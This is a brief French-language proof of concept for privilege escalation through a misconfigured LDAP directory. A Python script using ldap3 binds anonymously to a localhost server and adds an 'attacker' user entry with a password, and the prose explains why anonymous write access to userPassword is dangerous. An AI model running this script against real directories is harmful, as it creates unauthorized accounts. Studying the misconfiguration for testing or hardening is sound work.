
Preuve de concept Python pour l'élévation de privilèges via bind LDAP anonyme, simulant des ACL non sécurisées afin de créer des utilisateurs administrateurs via des binds LDAP non authentifiés.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
Un annuaire LDAP est mal configuré : il autorise les binds anonymes et accorde également un accès en écriture à des attributs sensibles (comme userPassword). Un attaquant peut effectuer un bind anonyme et créer un nouvel utilisateur administrateur, ce qui lui permet d'élever ses privilèges.
Exécutez la simulation (nécessite un serveur LDAP réel pour un test concret, mais nous montrons le concept) :
python ldap_anon_sim.py
Le script tente d'ajouter un utilisateur de manière anonyme.